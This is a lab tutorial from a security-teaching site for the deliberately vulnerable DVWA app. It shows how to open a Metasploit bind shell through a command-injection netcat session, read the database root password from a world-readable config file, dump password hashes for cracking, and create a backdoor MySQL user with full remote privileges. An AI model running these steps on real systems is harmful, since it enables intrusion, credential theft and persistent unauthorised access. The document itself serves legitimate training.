Damn Vulnerable Web App (DVWA) - Lesson 4 - Using Metasploit With Command Execution
Damn Vulnerable Web App (DVWA) - Lesson 4 - Using Metasploit With Command Execution
CONTACT US
|SECURITY TOOLS >> Damn Vulnerable Web App >> DVWA v1.0.7 >> Current Page |Views:
93173
Pre-Requisite Lab
Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14
Damn Vulnerable Web App (DVWA): Lesson 2: Command Execution Basic Testing
Lab Notes
In this lab we will do the following:
1. We will test Command Execution in which Security is set to
low
2. We will append the Netcat command to an IP Address.
3. Then we will start up Metasploit in Backtrack and connect to
the Netcat session created inside of DVWA.
4. We will use the apache username to search for potential
system weaknesses.
5. We will discover a weakly protected php file that contains
database credentials.
6. We will use those database credential to overtake the
database.
Legal Disclaimer
As a condition of your use of this Web site, you warrant to
computersecuritystudent.com that you will not use this Web site
for any purpose that is unlawful or that is prohibited by these
terms, conditions, and notices.
In accordance with UCC § 2-316, this product is provided with "no
warranties, either express or implied." The information contained
is provided "as-is", with "no guarantee of merchantability."
In addition, this is a teaching website that does not condone
malicious behavior of any kind.
Your are on notice, that continuing and/or using this lab outside
your "own" test environment is considered malicious and is
against the law.
� 2012 No content replication of any kind is allowed without
express written permission.
2. Get IP Address
Instructions:
1. ifconfig -a
Notes(FYI):
As indicated below, my IP address is 192.168.1.105.
Please record your IP address.
Section 9: Use Metasploit to Connect to DVWA's Netcat session
1. Start Up Metasploit msfconsole
Instructions:
1. Applications --> BackTrack --> Exploitation Tools --> Network
Exploitation Tools --> Metasploit Framework --> msfconsole.
Notes(FYI):
Metasploit takes about 5 to 20 seconds to start up.
2. Use Metasploit to Connect to Netcat
Instructions:
1. use multi/handler
2. set PAYLOAD linux/x86/shell/bind_tcp
3. show options
4. set RHOST 192.168.1.106
192.168.1.106 is the IP Address of the Fedora Server
running DVWA.
To obtain this IP Address, see Section 3, Step 3.
5. exploit
3. User Credentials Exploration
Notes(FYI):
Note you will not see an actual command prompt, but you do
have shell access.
Instructions:
1. whoami
This command prints the username for the effective
userid.
If the username was root, then we would be in full
control; however, the username is apache.
2. grep apache /etc/passwd
Here I am checking if the username is allowed to login
remotely.
When a shell is set to /sbin/nologin, then that user
cannot login remotely.
3. grep apache /etc/group
It is important to discover other additional groups that
apache might belong to.
In this case, apache is pretty well protected.
4. Explore Process and Directory Credentials.
Instructions:
1. ps -eaf | grep http
Typically, the Apache web server processes will run with
a daemon called httpd.
2. pwd
Print the current working directory.
This actually tells us a lot. It tell us the exact path
of where the NetCat command was executed from in Section
6, Step 2.
3. ls -ld /var/www/html
In Fedora, the "DocumentRoot" path is typically
/var/www/html.
If this directory was owned by apache instead of root we
could do some web graffiti and many other things.
4. ls -ld /var/www/html/dvwa
The parent directory for the DVWA is /var/www/html/dvwa.
Unfortunately, the apache username only has world read
and execute permissions.
5. ls -l /var/www/html/dvwa
Now we are going to explore the contents of the DVWA
directory.
Notice, there is a config directory.
Config directories are important because they contain
database credential information.
5. Database Credential Exploration
Instructions:
1. ls -l /var/www/html/dvwa/config
We are shown there is a configuration file with a
permission problem.
The config.inc.php problem is that its' permissions are
set to 644, meaning that anyone can read this file.
2. cat /var/www/html/dvwa/config/config.inc.php
Bingo!!!
For the database name dvwa, the user is root and the
password is dvwaPASSWORD.
Section 10: Mysql Exploration
1. Show DVWA Database Information
Instructions:
1. echo "show databases;" | mysql -uroot -pdvwaPASSWORD
Show all databases in mysql.
2. echo "use dvwa; show tables;" | mysql -uroot -pdvwaPASSWORD
Show all tables in the dvwa database.
3. echo "use dvwa; desc users;" | mysql -uroot -pdvwaPASSWORD
Describe the fields of the dvwa.users table.
4. echo "select * from dvwa.users;" | mysql -uroot -
pdvwaPASSWORD
Print the contents of the dvwa.users table.
Notice the password field is displayed, where you can use
tools like John the Ripper to crack it.
2. Create a new user in dvwa.users table
Notes(FYI):
Replace John with your First name.
Replace Gray with your Last name.
Replace jgray with your first initial plus you last name.
Instructions:
1. echo "insert into dvwa.users values
('6','John','Gray','jgray',MD5('abc123'),'NA');" | mysql -
uroot -pdvwaPASSWORD
This create a new username in the dvwa.users tables.
2. echo "select * from dvwa.users;" | mysql -uroot -
pdvwaPASSWORD
Notice there is now a new record #6.
If you wanted to create an additional user, the next
available user_id would incremental to #7 and so on.
3. Show Mysql table information
Notes(FYI):
Mysql has a built in database apart for the rest of the
databases.
This hack is even more alarming, because you will now be able
to add a user that has full privileges for all databases on
this machine.
Instructions:
1. echo "show databases;" | mysql -uroot -pdvwaPASSWORD
Shows all the databases on the machine.
2. echo "use mysql; show tables;" | mysql -uroot -pdvwaPASSWORD
4. Create new Mysql user
Instructions:
1. echo "use mysql; GRANT ALL PRIVILEGES ON *.* TO
'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;" |
mysql -uroot -pdvwaPASSWORD
This created a new user named db_hacker with a password
of abc123 that can login from anywhere with connectivity.
2. echo "select * from mysql.user;" | mysql -uroot -
pdvwaPASSWORD
Notice the very last newly created entry.
Section 11: Proof of Lab
1. Proof of Lab
Instructions:
1. Bring up another BackTrack Terminal (See Section 9, Step 1)
2. mysql -u db_hacker -h 192.168.1.106 -p
Replace 192.168.1.106 with the Fedora IP Address obtained
(Section 3, Step 3)
The db_hacker password is "abc123" or whatever you set it
too.
3. show databases;
4. quit
5. date
6. echo "Your Name"
Replace the string "Your Name" with your actual name.
E.g., echo "John Gray"
Proof of Lab Instructions:
1. Do a <PrtScn>
2. Paste into a word document
3. Upload to Moodle